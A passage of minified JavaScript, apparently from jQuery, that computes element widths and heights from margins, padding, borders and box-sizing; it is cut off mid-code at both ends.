o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&(a+=b.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=b.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=b.css(e,"border"+Zt[o]+"Width",!0,i))):(a+=b.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=b.css(e,"border"+Zt[o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=b.support.boxSizing&&"border-box"===b.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(b.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function un(e){var t=o,n=Gt[e];return n||(n=ln(e,t),"none"!==n&&n||(Pt=(Pt||b("